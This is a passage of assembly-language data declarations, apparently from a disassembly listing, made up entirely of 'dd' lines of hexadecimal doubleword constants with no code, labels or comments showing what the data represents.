		dd 0C8A8C548h, 0DC000683h, 0EC3A68C9h, 4089CE14h, 3F00448Ah
		dd 4CF7E498h, 722613BAh, 72A50271h, 0D1296A9Eh,	6F0044D9h
		dd 714F7DFDh, 27670012h, 0E12CB642h, 2401330Ah,	29BA7234h
		dd 702A74A5h, 815EC040h, 36F82A54h, 5F942802h, 817BFAF7h
		dd 210EA0B2h, 2BF6D460h, 32075BAh, 3C608449h, 7CA229A0h
		dd 0E73B0715h, 0CCA05A68h, 0DC590F5Eh, 5D12731h, 0B3C7EA66h
		dd 3C148684h, 73401EA8h, 0A21CD000h, 77E7AB50h,	20877AD2h
		dd 0DF7688F6h, 104CF92Dh, 27F7Ch, 14ED28E1h, 0B3F789D7h
		dd 5D684803h, 0AAD1A8F8h, 1305A4Ch, 9E05C556h, 0C897F28Ch
		dd 3503015Fh, 7B72A11Dh, 80B48Dh, 9C94D836h, 3CD44004h
		dd 0B400F6D5h, 0B979B6CEh, 74D15E09h, 0B82D12DCh, 3BFC9042h
		dd 0BE0076F1h, 414ACEA6h, 0E0F654Fh, 74286F3Eh,	0F180E888h
		dd 7C71203Fh, 0C40717F2h, 23110964h, 0F0421CE4h, 0BD008C42h
		dd 91A4D1Ch, 64086ED6h,	6EFDA9C0h, 3B2D3720h, 684C1449h
		dd 0D31513B1h, 0D995D420h, 910A254Dh, 4600B954h, 14837E09h
		dd 612896DCh, 10843029h, 1ACF22h, 4BED2B59h, 0DC7697E4h
		dd 2781E20Fh, 0D4E10536h, 823CC8h, 0AC696B47h, 4CD5094h
		dd 0B828ECA3h, 2E0328A6h, 2F7666Ah, 37B6D0F4h, 2D3007C8h
		dd 16D0FAAh, 0F6DF0880h, 200220F1h, 803039C8h, 0C923E0C1h
		dd 2CEE2DB8h, 860B8064h, 709B5551h, 0CA694F34h,	0FEF40478h
		dd 0D084C4D4h, 84491897h, 1E5271B0h, 0C00289E0h, 0F240D07Ch
		dd 413F85h, 5BED5ADEh, 0C6862735h, 61292630h, 0E21C14BFh
		dd 0A156008Eh, 1B91FA60h, 3C127197h, 4859E16h, 0ACF4CE84h
		dd 0E6CB1251h, 0C4F0A8BCh, 98C8A7F9h, 96BCB63Fh, 5D100DFh
		dd 39FD26F1h, 0E284706h, 1221A0A1h, 0C83E9C15h,	64019768h
		dd 4AE270BDh, 0C42EA6F6h, 7020AA38h, 7F7C17B4h,	0B9DE1A04h
		dd 0B842EEA7h, 32497823h, 790F86F0h, 0EA81CD0Fh, 4B174334h
		dd 0CFE7A93Fh, 3B7B002Dh, 0C820482h, 0DCF6169Dh, 3B346860h
		dd 8822FE5h, 0BE54A409h, 4B1C00FAh, 55AA5167h, 6840809Dh
		dd 0CEBB3881h, 7BC1E329h, 205BC62Dh, 3F050EC3h,	35CAC72Fh
		dd 1ECE3C80h, 0C8315CD8h, 6E73F180h, 0A6001351h, 9C255DA0h
		dd 255B7533h, 847AF6E1h, 0B438EC29h, 5C5F4A89h,	30715060h
		dd 9386731Dh, 0EF7A6D00h, 4A87E5FBh, 52FC2111h,	846608A2h
		dd 0EED5DF25h, 36DC1280h, 5DCCF85Dh, 823A01E4h,	0FE3CE992h
		dd 9D06B9FCh, 0F003D8EEh, 52059AD8h, 1986903Bh,	91200B07h
		dd 868244DDh, 8C5961DBh, 4F007E3Bh, 0C61B48A2h,	0B2AB769h
		dd 88DAEF72h, 3B091087h, 1F01B47Bh, 9464D915h, 16304F0h
		dd 7B8EB04Fh, 0CCC4A70Bh, 173B887Ah, 3FB0D2B2h,	0D8708031h
		dd 0C1A46990h, 3B660095h, 839B053Ah, 5CBE56BEh,	983CA63Dh
		dd 0DC0A7217h, 0BA13EC6Ah, 3638C8h, 3383BE9Eh, 7C242C3Ch
		dd 0C39B9500h, 0AD6734D2h, 0E2F5F71h, 0B99AD37Ch, 0C3B61885h
		dd 6CEA0ABCh, 74EFA90Fh, 0D6A24050h, 0C29716EAh, 678C1188h
		dd 7C6CBF8h, 60F8C29h, 6815F05Ch, 75CDDB2h, 95DCC0B0h
		dd 44179DE0h, 32765584h, 1078E45Ch, 0ED00BCFFh,	0AA4609DFh
		dd 13480B3Ah, 78522B8h,	0BCCE927Eh, 0F26011CAh,	4EC430BDh
		dd 0EB77EC13h, 6122CB2h, 40EF1EA1h, 0AB20DA12h,	95013EE8h
		dd 3B3D766Ah, 0BCE821FBh, 797716DCh, 8D0CB073h,	4A482200h
		dd 46AC5CB2h, 36540067h, 0DFEFDC58h, 909DD4Ch, 303DCEh
		dd 6A3E2CBCh
		dd 0FCD32C14h, 93E04504h, 8948D0D8h, 98EA2298h,	82D35A33h
		dd 5F251278h, 77C908Ch,	1766FF1Bh, 106E57C3h, 1607D89Ch
		dd 0B8F9200Bh, 0E3064F5h, 1BDA46E5h, 84F9C94Bh,	0C0D02D0Eh
		dd 4C403163h, 798365AFh, 3ED88837h, 0E304F900h,	0AE2229EEh
		dd 2C87A19h, 24DDC5A0h,	0E041EA0Ah, 9B503078h, 3BE188h
		dd 505E20BAh, 0E02BEC36h, 0D9199912h, 909A13EEh, 0C71A839Ch
		dd 26B9700h, 0B4E8F54Dh, 8FA10980h, 0BC402ED4h,	2989A6E1h
		dd 70902BE2h, 8DFA0BF4h, 1F58C600h, 3F4F6B53h, 83C10099h
		dd 0BD193617h, 294FA8E6h, 0AA00445Ch, 4E668AC7h, 0A84099Dh
		dd 0CC4C70F2h, 18C8BE5Eh, 46300E01h, 8D4065F4h,	3F8F3284h
		dd 0A2128C16h, 0CB953B00h, 5A6F065Dh, 8D7C08BBh, 920FD242h
		dd 941057F4h, 26390594h, 74138EEAh, 0A6DB20C6h,	0B37F7A3h
		dd 5572515Dh, 305E3419h, 0AC3E4A53h, 0C594583Ch, 0CC807041h
		dd 0D67FF8E3h, 72C49B9h, 9B8064EAh, 0CD0838A2h,	34C6712Ch
		dd 0C5F46800h, 5C60A7C8h, 8430F404h, 836B0F99h,	7302C00h
		dd 5D406646h, 0B4440029h, 76DFF723h, 1800F254h,	0E1DC4BFDh
		dd 0CA654341h, 880F9A8h, 0FE0BE987h, 0E27C11E8h, 5FA8283Ah
		dd 69455400h, 9632EF3Ah, 82CA001Ah, 0DF659F6Fh,	6603AA53h
		dd 46C91BD4h, 7458043Eh, 0B9430A62h, 2B44C258h,	13026008h
		dd 1C9D2EB6h, 6BCE88A4h, 50B8B283h, 0F7460708h,	0C063834Fh
		dd 0C2313442h, 54DBEF00h, 53DDF44Dh, 0F4554C47h, 6150E9C0h
		dd 3AE0AED3h, 0EF286C0Fh, 4B8A20C6h, 26532340h,	60209717h
		dd 5B381AECh, 8352AD0Eh, 0FF1F200Fh, 0B86F0AF4h, 3CC54CB2h
		dd 83992C32h, 524074F4h, 810627h, 2FBBF696h, 0C3C8FDCFh
		dd 31B50702h, 4670EF53h, 25A04E4h, 0A011F625h, 2C4ADC34h
		dd 8514B888h, 4B80319Eh, 5F653DF7h, 995E0039h, 7747FD94h
		dd 76FA11DEh, 823F5A17h, 0CEC0FCE2h, 0CAC87009h, 8D14A400h
		dd 75E1D85h, 0E8AF0072h, 0D233AB6Fh, 0B09F7FADh, 73F6AD4h
		dd 4F0B2FC6h, 2A96A3D4h, 515A22D8h, 29D29302h, 7F94283Bh
		dd 3EF90C98h, 73B9CF25h, 35F70074h, 0A4F457C9h,	0E069FB27h
		dd 0BC74E76Ch, 61D3C098h, 75000BCDh, 8DA585C8h,	122A27A1h
		dd 3423056h, 0CC1E9FD8h, 24DAFDDAh, 9201BFFCh, 6E30DDA8h
		dd 431840Fh, 64AC287Ah,	6FD5C100h, 230AD8B6h, 0A0331603h
		dd 91AC0146h, 69A78440h, 475900F8h, 36D9EEF6h, 997201CEh
		dd 8268DC8Dh, 82683817h, 51EFAB69h, 32151370h, 220DFF0h
		dd 7068AAEBh, 0BB25048Eh, 0C04289D1h, 0B42252D0h, 82786AC2h
		dd 389B5F60h, 8D8082E5h, 0E9205F26h, 7A48C014h,	5716640Ch
		dd 0D0C89E16h, 0DB78014Dh, 8930319Bh, 128029F7h, 90FC5CDCh
		dd 3C467800h, 9C0A2890h, 846CCC01h, 471C861Eh, 0F2D7143Dh
		dd 8EB0E04h, 1C1B22B1h,	45E18084h, 45C3349h, 0B2349071h
		dd 8074D5A9h, 6D57F148h, 1356EF3Ch, 0DC88C314h,	105FED4h
		dd 91F2134Ch, 6A714AD6h, 3A54CA0h, 89ACCF60h, 4CF2F198h
		dd 8D001852h, 5CFCECD3h, 50167D33h, 9E84E835h, 0B3644074h
		dd 934A1CD6h, 0F6FC7C80h, 0A44E022Ch, 3E4A92B0h, 0C91FCD8h
		dd 16435D80h, 0EDEFE7EAh, 0B913A07Eh, 32FCAC0Eh, 0C8388B18h
		dd 13BAB53Ch, 0FC9C9540h, 54885ED8h, 0D9540248h, 5283E74Fh
		dd 80B7CD6h, 6B8056BAh,	0B1EEA090h, 3B7919E4h, 43008473h
		dd 97B30C44h, 0F68D115h, 0D96EB8C5h, 23DC0DA0h,	620898E5h
		dd 6B120Bh, 0CA4EC3D2h,	0A249B85h, 67420CB4h, 1F9C5E96h
		dd 0A9C2CF55h, 0F0F797h, 18B142EBh, 2C407D94h, 95BB40Fh
		dd 680EDF7Ch, 0A0C89350h, 14A82E61h, 0A1B5051Fh, 2BD4C2D1h
		dd 6F1C5C29h, 29314240h, 6800F6F4h, 8DA04F9Ah, 60340462h
		dd 5036D822h, 0E01837DCh, 6769B1A8h, 236FEB3Fh,	0A9166108h
		dd 0ECB430DFh, 104F00D8h, 2D90511h, 52206480h, 0DCA72507h
		dd 0CC3C70D0h, 885C5C61h, 0FDB08091h, 5AE24B59h, 0D1AD0C00h
		dd 8CB56DC6h, 9CE514D4h, 15098C35h, 18F64AC3h, 0B5C0EC6Ah
		dd 5F55F488h, 0FB6C9889h, 48FF1A00h, 41C24793h,	2C9095D8h
		dd 6E00DE3Bh, 1CE28ABBh, 1DBC798h, 35062388h, 3FD33648h
		dd 32184CCh, 2C091B78h,	0C6C1ACF5h, 2D842C60h, 6CF117h
		dd 19BE29E0h, 543CC338h, 0CE1414DCh, 8E10010h, 0D206010Ah
		dd 321F2DCCh, 5988F47Bh, 53829E6Fh, 9D2030B8h, 27099037h
		dd 7E04F83Bh, 0D4142D14h, 1EB5DD02h, 80BD2423h,	9AF005BCh
		dd 9CE80190h, 13EEC904h, 867C7858h, 360A344h, 0D87A850Bh
		dd 9F016DCh, 4891A8FDh,	0A4674E80h, 3E2AD3Eh, 32CB70E9h
		dd 0F2CDF7A7h, 70245E4Ch, 32839780h, 9E9900C6h,	5584E028h
		dd 415CFBF1h, 788A02D7h, 5AF5FF9Bh, 8B9020C8h, 6F09DF00h
		dd 0E5D8E9D6h, 128B9D4h, 27D46FCh, 0ED6EFCCBh, 9BC63E00h
		dd 0C36C08FEh, 0C47A01E7h, 0C13695A6h, 2F6070CBh, 2CF0774Ch
		dd 0B050CC87h, 0CE630790h, 100D64FAh, 0C65966CDh, 6C805000h
		dd 5F68ED4Bh, 352401BAh, 0FDAB9A6Bh, 0F0C52E92h, 9449B830h
		dd 9E290CA4h, 37B8F1F4h, 521C7005h, 0A0C247FAh,	4B4C50A3h
		dd 17D04DE5h, 38606AD0h, 48ACFC1Eh, 23008724h, 0FFA70AF0h
		dd 51259B52h, 897019F6h, 76608410h, 0B691C091h,	20CA0101h
		dd 0E0D8ADBDh, 0E81E2AACh, 0CECAC07Bh, 6001871h, 0CCB2557Ch
		dd 3E9B25A9h, 0A8012C64h, 88BDF2EFh, 0DC2E6F69h, 0F903F058h
		dd 991B2C0Eh, 1F9AD808h, 3F6416F5h, 8C24127Ch, 0EE00EC44h
		dd 6EE44314h, 752B01B0h, 1A460BC1h, 1CC23ADEh, 0C76A0860h
		dd 0BB44D494h, 8600F54Fh, 0F49C5294h, 0E380DE26h, 3D37D700h
		dd 0AA66B6h, 0F2096755h, 25DDBD9Ch, 7BB8B125h, 6FE400C4h
		dd 0BC906DD9h, 61E09AE0h, 43B1CB00h, 0C1084CA7h, 26B80BC9h
		dd 0F4825280h, 98FC6D62h, 0A8816841h, 5B26ABD4h, 0D1D440FBh
		dd 0AABA29A7h, 112FF0B1h, 923F3794h, 79E0AC20h,	26583306h
		dd 0E4D3FA6h, 0B6C20C34h, 0EF424423h, 0FDC19592h, 9F7A0010h
		dd 6B46E000h, 0EA9B3F50h, 0E25900EFh, 0FC6083FDh, 4100938Fh
		dd 46CCCF21h, 0E9A1B7F6h, 5040D7F9h, 5260F487h,	0B322A889h
		dd 6325CD00h, 0EE435E52h, 0FCF00C6h, 0BE3E606Bh, 96004ED0h
		dd 856C2848h, 0C3A111h,	20F5B2Fh, 0C42278EAh, 845C5E06h
		dd 0C18C1B2h, 0E79D8533h, 28C14860h, 5DFB1EBEh,	1FC75BD0h
		dd 8F5CF837h, 5AC096F9h, 0CDAB84C3h, 0F425D701h, 36B43875h
		dd 0BE4EE8h, 19B77CA5h,	3F481F02h, 4D57C507h, 0F340677Dh
		dd 94E081h, 0F178A67Ah,	0AD46FDFCh, 44D23500h, 0C6AE9892h
		dd 0C9EF30E4h, 47767148h, 0D57A6000h, 36D82BB3h, 669C01EBh
		dd 8D70831Fh, 0CE28801Bh, 0C3216AC2h, 6D4E0317h, 0D801C5FEh
		dd 5C9E2BB8h, 2EDF4000h, 304B4743h, 7AE31871h, 22CA3834h
		dd 0F697BC0Ch, 0B910A6h, 3EC1E578h, 0EE234EACh,	8656D11Ch
		dd 810018E8h, 4667D63Fh, 2190BBh, 71AF4930h, 19C57F83h
		dd 0D0B42724h, 0D2E7A506h, 132600C9h, 252A5A10h, 88007231h
		dd 32149F2Bh, 0F86061h,	5786B1D0h, 4A20CBA6h, 9AE1D30Ch
		dd 18A57073h, 0E9198F9Ch, 0A2079FB3h, 650D8ED5h, 0C8BAB180h
		dd 0CC6A00BFh, 0D9827528h, 0B00046F7h, 2EED5F8Ch, 304F4145h
		dd 0A5C1B21Bh, 11078D48h, 18D35519h, 0DEE058CAh, 0F60C8C8Eh
		dd 8957006Fh, 479BD383h, 9A035E90h, 0B0F73D6Eh,	3328F8A6h
		dd 7C706015h, 4AD868EEh
		dd 1E5E9F48h, 0B1009C64h, 297F3D2Fh, 43BA30EDh,	0ECE7CE61h
		dd 0EE546BF0h, 7100E2BCh, 0D8291548h, 0A89E93h,	49679F19h
		dd 0C2DAC466h, 0CCFF472Ch, 0F7225200h, 60E76F4Eh, 20D251EDh
		dd 8D031D4Fh, 0EAFC4059h, 0CA6900D1h, 7189FF77h, 0BB0A13F3h
		dd 1C3930EBh, 81F18D0Ch, 0EE580350h, 0FB13B13Bh, 37B583C0h
		dd 0C648FE00h, 275A6772h, 0EC650174h, 0CAC7E49Eh, 0F26D0CA5h
		dd 629300CFh, 39C41C2Eh, 704022D0h, 317266D2h, 0B8001CBCh
		dd 0B4C071F0h, 486776h,	0E11087BFh, 0AE189F84h,	0DEE74418h
		dd 0D0FC59h, 4C9E7172h,	34C38F26h, 661C797Bh, 0C76468EFh
		dd 7FA9E930h, 459D00ECh, 89265C15h, 47F8819Fh, 0ECE50229h
		dd 4F1BA403h, 7616D009h, 9B2A00C0h, 276303DDh, 9200515Eh
		dd 0F82198C5h, 30E74547h, 6E38C8A3h, 0A8A82FD0h, 400BFBEh
		dd 4B1DE88Bh, 0E236A371h, 0AD78006Fh, 0E7E5606Eh, 0ACA8F38Dh
		dd 0B100671Ah, 0E9E4307Eh, 493329FCh, 7C1E443Ah, 0F99F0065h
		dd 0C5E22ABBh, 0A051EC03h, 0C8EA4692h, 5428656Ch, 3A5A4CDh
		dd 9A75A9E1h, 52CA4E31h, 0F62F98A7h, 0E311A94Ch, 300A3D74h
		dd 44F4D7FCh, 6D2F40FFh, 319446Bh, 0A3E83D23h, 76886721h
		dd 0C07A9F63h, 42AD3018h, 2EECE39h, 1B8F8623h, 0FC91271Fh
		dd 77A010ECh, 0DA2101A1h, 2E2D880Ch, 0CE31E0CCh, 18CAF928h
		dd 81FC50CCh, 73AE2819h, 3469500Ch, 0B95B60D7h,	0DE9C9245h
		dd 76E71718h, 7CDB0AD9h, 667D0E06h, 0D16623E4h,	0DD003183h
		dd 64AC3938h, 6019BB12h, 57A519B3h, 990C4D3h, 5F6ED900h
		dd 410D3F99h, 0B8E189Fh, 272A28A0h, 0FD638DF6h,	0C88B96A1h
		dd 0F1DEE8h, 0D97E3788h, 45356781h, 0CE393B0Ch,	44D768EBh
		dd 7076F431h, 0FD1DF200h, 0D28310A3h, 0EC7D4F3Ch, 713E2685h
		dd 627BDB00h, 5A6E79h, 0CD8B3F25h, 0D6F89CDCh, 39CA79C0h
		dd 1C4615h, 41D3F709h, 78D0ED8h, 4F190A8h, 6A2FA400h, 3F6E4E05h
		dd 2DA2010Bh, 5A8E7767h, 97BEC69h, 5133D637h, 0B8A6C510h
		dd 58FE0091h, 98BB8A7Dh, 8400BEABh, 0C9923E9h, 4B243448h
		dd 0CE25B094h, 45E42777h, 18FDE637h, 7AE29A3h, 8CBB3408h
		dd 8FF1E0FEh, 81DD261h,	5DDF79C6h, 0B569A240h, 3BD74D1Eh
		dd 37B718B2h, 1D66E240h, 0BC77C420h, 3DF80158h,	1EB00E5Fh
		dd 9114424Fh, 9E513481h, 98BB41h, 472961EFh, 1FD52098h
		dd 420A97C9h, 2DE66258h, 60AB2420h, 45290688h, 18250EE4h
		dd 0A010E754h, 0B3C4E906h, 0F871BF45h, 5AA90619h, 29B0293Eh
		dd 0A1BE1000h, 9A718E2Bh, 2FE75CADh, 66500A00h,	2D7C86E9h
		dd 0A619D4F6h, 3BE94A58h, 0DE9A050h, 7E2F00CAh,	0E27AC503h
		dd 0D903A426h, 0D1B2B070h, 7791850h, 9AE9A102h,	9CC13200h
		dd 1F7087E3h, 0D11B00C2h, 0ED5CEC81h, 480F698Fh, 61BFB052h
		dd 9B33E5F9h, 80E88C56h, 186CB164h, 5916BC52h, 56304CD4h
		dd 0F63E283Ah, 71D0184h, 7B861A93h, 0EC9CF5A6h,	8200E8CEh
		dd 0A063F49Bh, 3D1D0FFEh, 0E58CF248h, 74414E2Fh, 69F90830h
		dd 1D5ACDh, 0DAAC2284h,	0ECA5C52Ah, 4254A307h, 13609718h
		dd 0B05875h, 0D43A45E9h, 0B7DF221Bh, 0EE0A7900h, 0FEABBFD7h
		dd 95FB018Bh, 78680E61h, 58884808h, 0B00A7100h,	0F1FEDD29h
		dd 9F010034h, 0FA4A54Bh, 0CA281A3Eh, 0B926828Ch, 26158C4Ch
		dd 3D4E00DCh, 75324A4Bh, 2E9907D3h, 0F6545619h,	0A21E68CFh
		dd 1FC1B4D0h, 33E735F9h, 0BC243987h, 0CFE18C07h, 7690D000h
		dd 21A4FAA1h, 0E1560347h, 8C9ED689h, 84E2AED0h,	0B1080733h
		dd 7010E0ABh, 0B46D0167h, 0FF2B0E9h, 0A6CC504Ah, 7073116h
		dd 14D795E6h, 307F34F1h, 1767CD4h, 0F9A78362h, 8CFB716Dh
		dd 99AF2981h, 0CFD7249Eh, 0F4060071h, 395B6D95h, 16339B1Eh
		dd 0C9A5830Eh, 0BCD400C8h, 522FE68Fh, 0B840D841h, 30E57854h
		dd 0B651B429h, 0FB01FED7h, 127CA384h, 0BAD87330h, 37D30015h
		dd 4DABC926h, 0BF0FC427h, 615775DEh, 4BA0E5E0h,	0BA455985h
		dd 0B35408E6h, 1BEA7780h, 3FFC0AB0h, 0E08181C6h, 26B2B8D7h
		dd 78C2445h, 0D639E560h, 1B3DADh, 0E7372177h, 3A78F1B0h
		dd 89048371h, 17AC90BBh, 0AC50CC0h, 6B5E0366h, 0C045E21Ch
		dd 0B3F6AF90h, 3544890h, 3F00EBC0h, 49F9899Ch, 74B6B52Eh
		dd 9F6B008Ch, 33177ABEh, 0AF025255h, 0E277C02Ch, 0E2C663Fh
		dd 88995E5h, 0B106A9E0h, 43285FFBh, 0F6FEF5Ch, 5E9E6061h
		dd 0E4F76212h, 0C361124Ah, 6DF8200Ch, 0CE00AC75h, 54418803h
		dd 26F2DDFAh, 609831CBh, 0BDCDAC5Eh, 0F80F4700h, 8B7D41E1h
		dd 0C61A01F1h, 15D17F0Ah, 67103079h, 80841148h,	6319C55Eh
		dd 0FC407806h, 0B558009Ch, 0BCBFB989h, 0C1001FB8h, 50D60199h
		dd 0C009E852h, 0D75FE739h, 0A00A8FDFh, 0C35438D0h, 2131BC1Ch
		dd 9980AD29h, 6E74C399h, 0AA00B3B0h, 2A909128h,	7711EBh
		dd 0D1C5D6E1h, 0E8C11B0Fh, 0A8DEA0C0h, 0C1BB288Fh, 0EAF87C41h
		dd 0E9D9F49Eh, 2921D700h, 0F7A98AD1h, 4C9E440h,	0B2C01DC7h
		dd 0E80488D0h, 0D4A6A412h, 6271A030h, 0BD91005Bh, 8F5E7ADEh
		dd 9207459h, 0B6482436h, 405C00FCh, 2FE19A4Ah, 0C100D499h
		dd 883FCF1Eh, 0C8F0FA0h, 99A77AF4h, 4FB1B0ECh, 7C2CB86Eh
		dd 0BD13FDB6h, 0BFFAF830h, 0A79100E9h, 5D0E5A5Ch, 0BC01DBFCh
		dd 0D76154E5h, 0C34984Ch, 0EF00071h, 1EE35AC0h,	5F4CBDC1h
		dd 0A4BBC038h, 3F1DB2h,	40861CD0h, 0A0E6730Eh, 0C441AC24h
		dd 5F2B5140h, 58813CE0h, 6DB7E100h, 0D16BC4C1h,	0D709EAE2h
		dd 252A7F20h, 5400BEB0h, 4D958D15h, 781F4836h, 0C1000422h
		dd 6746E4A7h, 0EB1442h,	4ECE5CD7h, 0BC172CB0h, 9A44FF0Ah
		dd 8440B010h, 2DAA228h,	97FC3C38h, 0F4C1F8F6h, 0BC3C3018h
		dd 2FE710EFh, 30F49249h, 17895D0Fh, 0A0003FB1h,	5C0980BCh
		dd 0F4FD6FC1h, 0E8302D79h, 88AB8D05h, 48F545ECh, 0C10619DCh
		dd 298B6607h, 2DAF1D21h, 63262040h, 0AB60C0E6h,	684D138Ah
		dd 2BA1195h, 5E878228h,	3E2D10E0h, 51E839C0h, 629E8456h
		dd 0FFBA70A7h, 0CCE09829h, 176D0049h, 3F5D66FEh, 0E800E75Eh
		dd 0B9220316h, 11B35F3h, 0ED33F1B8h, 4025905Dh,	64291760h
		dd 3980E012h, 0DFA6A400h, 0A3A39E2Eh, 0E37019C4h, 0FCA2310Ah
		dd 422EE993h, 0C2028C9h, 7703D476h, 0C79D9E0h, 0FDB90035h
		dd 0AB2ECB9Eh, 0AA024D15h, 0D7331BEFh, 7DA86407h, 0FC6876E0h
		dd 0DB3C00C9h, 0A4BE6B8Ah, 5A04A8E8h, 1C5CB8E6h, 534CCC81h
		dd 2690D457h, 126099h, 0FBA28ADEh, 92161563h, 402F7526h
		dd 0A84A8C43h, 0E196A1h, 0D3337322h, 982A311Ah,	0A30A9300h
		dd 9FB076D7h, 0F46C48D9h, 0B9330C18h, 160F74AFh, 4A1EC03Ah
		dd 2311F8D5h, 1199801h,	0D418351Bh, 9A03497Dh, 859F1FECh
		dd 0D1C6D157h, 1A4D6C0h, 5CBC22DEh, 418B676Dh, 0EF745520h
		dd 0F49005C2h, 5788401Bh, 0AC9F1388h, 71604446h, 31E7450Eh
		dd 31BBF8CCh, 5241E08Bh, 0DD8C5050h, 7B007DB1h,	6C750A39h
		dd 108D4B6h, 8BE7907Ah,	0B861BAD7h, 68C430h, 519FF35Ah
		dd 0CE2A47EFh, 0A5697201h, 17BA8902h, 0BF060832h, 81282FE8h
		dd 5EE1A000h, 62EB5614h, 7FD01CBh, 51C9E6A6h, 0DD9C60FAh
		dd 0B3BCD1CBh, 0F00FA178h, 3D9424h, 3FDA55Dh, 9031B472h
		dd 0DB93560Ah, 9D029CC7h, 40223989h, 202AE528h,	689041ADh
		dd 80381048h, 0E32395C4h, 35F43C8Ch, 579DA600h,	918A8B0h
		dd 9C3EB526h
		dd 83AF2E08h, 0F363F8D1h, 0F04F12E1h, 9002959h,	0E40CD857h
		dd 121F1A5Bh, 24A4E5E1h, 0DB5840C8h, 57716A83h,	9C8CCD05h
		dd 88D2D7DFh, 0A81B210Fh, 11B2FC56h, 0B4E4FB28h, 924744h
		dd 0C45C2536h, 0BB6D7503h, 4A665F00h, 453B42E6h, 0A6DD120Eh
		dd 0C370904Ch, 0BF0FB6B4h, 2F7D3E9Fh, 8077218h,	20866674h
		dd 755C1CD1h, 6BDD84DFh, 0BF148802h, 768C6307h,	47254116h
		dd 90770480h, 52093E6h,	0CEB00B82h, 2D870054h, 0BD5A22B5h
		dd 0F39D0F0Ch, 0C2BC0178h, 3789085Bh, 0B229ACE8h, 0AAD51C0h
		dd 59506CDh, 8EA27759h,	0BCD9C08Fh, 5409562Dh, 306898CCh
		dd 0A74254h, 0AE3055A1h, 0EAA9DD5Dh, 8E5270Bh, 0A0C48156h
		dd 0F44C0307h, 3FB0007Dh, 0B9C22F28h, 0F6F03AEAh, 4FF874F9h
		dd 0A7A6D450h, 0F614462h, 46E46864h, 0C45D00E5h, 9B5112Fh
		dd 82C2773h, 64044C3Ch,	0B493357Bh, 48310BC0h, 4200AC10h
		dd 0F017C5D7h, 734A83Ch, 0BFC076F7h, 485B4D12h,	90755510h
		dd 1334218h, 0EED721E9h, 0ED0C9E2h, 0B078037Bh,	179E5A6Ah
		dd 0E5E8D009h, 746810A5h, 0E35000C1h, 0C9400215h, 2320CCD3h
		dd 13F8ACAAh, 170AE9A0h, 7B04614h, 0D900B1FCh, 6FB99C52h
		dd 1C1C3F27h, 0C989796Ah, 0C8118051h, 90642854h, 0B81C3574h
		dd 50676030h, 0FC0D2CB1h, 1F502487h, 316698BEh,	310008DEh
		dd 5FA26B02h, 0E670FD7Bh, 94955CECh, 0B7A2F12h,	0A0131928h
		dd 9FAC8BA1h, 0F134AFC1h, 0F414ACC1h, 61293ADCh, 5B9D218Bh
		dd 78C8622Ch, 296204ADh, 1F705037h, 0C0F267CCh,	87FC0F27h
		dd 9001A258h, 35FB7CD3h, 53F41629h, 0E0CC2836h,	11B84214h
		dd 0A218278h, 90F56308h, 47B788B4h, 0C684E82Eh,	70042561h
		dd 9F6003A0h, 12BFB17Ah, 0E020D1C9h, 67B847h, 493B63F9h
		dd 4368B271h, 52395C04h, 7EC070E1h, 0F819DA34h,	0E45F00CAh
		dd 4C54BFFh, 6C1FBE52h,	60C0CF98h, 5D303894h, 0A5D900B0h
		dd 96844C91h, 0EF399B1Bh, 71F000ABh, 2AC003CBh,	1E3E015Ah
		dd 9BBB2D42h, 634DF818h, 600C0400h, 2184A27Ah, 814C00E3h
		dd 0ED2DE4DCh, 0AB0D8D5h, 0F2013600h, 0AC2C42FAh, 0B9321CF0h
		dd 0C697814Fh, 0F0A10790h, 26006D10h, 6BEAC4A2h, 27EB78h
		dd 0BB318206h, 1C086FCFh, 0CDA28300h, 8AB61FC4h, 0C6BE18DFh
		dd 85B98030h, 4DB36A00h, 4207D60Fh, 0AFEF0093h,	0A753CDF8h
		dd 300019A2h, 50BBF117h, 0E42DABC0h, 0A0980040h, 0F686D409h
		dd 0CA3CFE99h, 62F003Ah, 50AA712Dh, 0BA73008Eh,	0DB2C122Eh
		dd 5F001D68h, 396163D5h, 0EF5D2Bh, 95CFA84Bh, 65E76FD0h
		dd 0E137FB0Fh, 27D90384h, 0F57087ADh, 8329FAh, 7174F228h
		dd 0F7EDB6BDh, 7672DB00h, 0CE2FD6BBh, 0ECE40046h, 8E7114C6h
		dd 0C7EC9FC0h, 3B772D00h, 551E4164h, 32350042h,	3EC5FDDCh
		dd 2060BB24h, 0D3F19ED0h, 43CF65Eh, 0EF369D8Dh,	0ED358377h
		dd 33342000h, 0DD96EE7Ah, 0ADC900EAh, 0BEA7B29Eh, 5FE26CDBh
		dd 4CE48300h, 0C86DA17Eh, 0ADF10125h, 0FFA0635Bh, 64D3E8F4h
		dd 80F2D238h, 6A280AA6h, 389053h, 5C5D259Ah, 8AD9500Dh
		dd 63E1E01h, 0A1953717h, 19F0D7DFh, 500BE2h, 0FDE003D6h
		dd 4EAA528h, 9C20A000h,	12331593h, 90C84C6Ch, 0D38FC01h
		dd 0E4364B2Fh, 0A80066E0h, 1FFB500Eh, 0E47CC93h, 0C1856591h
		dd 52B96AA2h, 0D6AC40FDh, 80664FABh, 2AD46C1Fh,	7BFF8D00h
		dd 700801B8h, 83E40058h, 0C0C92709h, 22009D69h,	45616455h
		dd 102D5FEh, 0BDD325E9h, 0C809A618h, 0ED034DB5h, 0D92D6AA7h
		dd 6D7AE841h, 891200A0h, 33ABDF44h, 9930A842h, 0AD871109h
		dd 12B20005h, 2E46F8AAh, 23014B4Ah, 6C7C8FA2h, 3820D53Ch
		dd 59F441Ah, 0B612E00h,	0C3E26A1h, 0FCC90016h, 146F48F3h
		dd 24702C93h, 0EB511D16h, 5043FA00h, 1EAF7Eh, 192F2A08h
		dd 25BF11B8h, 0A6CA3702h, 40F33F2Eh, 13A44317h,	0EE4D32FEh
		dd 859A000h, 61ADC1h, 0E684258Ch, 0DE8A521Dh, 68CC1602h
		dd 8AF9A387h, 921E03C7h, 0BDA66000h, 25E80Eh, 47AD267Bh
		dd 0B8E097ACh, 0B91EC800h, 0AF82D40Bh, 0E4B30080h, 88630523h
		dd 0CB00E1DCh, 0D5F14C27h, 176200Eh, 110C0824h,	0E4DEB5BBh
		dd 0B0001080h, 0C2D881FBh, 31AE03Ah, 932EC39Eh,	61C0561Dh
		dd 3600DBC8h, 0E32A42FCh, 0BAB54Ah, 2085E53h, 9DB79C64h
		dd 6867E800h, 0DCE37F61h, 4FFA1374h, 0E7280150h, 0C1D3FEBBh
		dd 2EF8C7E4h, 7001660h,	0B58BB4BFh, 56D6357h, 87F39449h
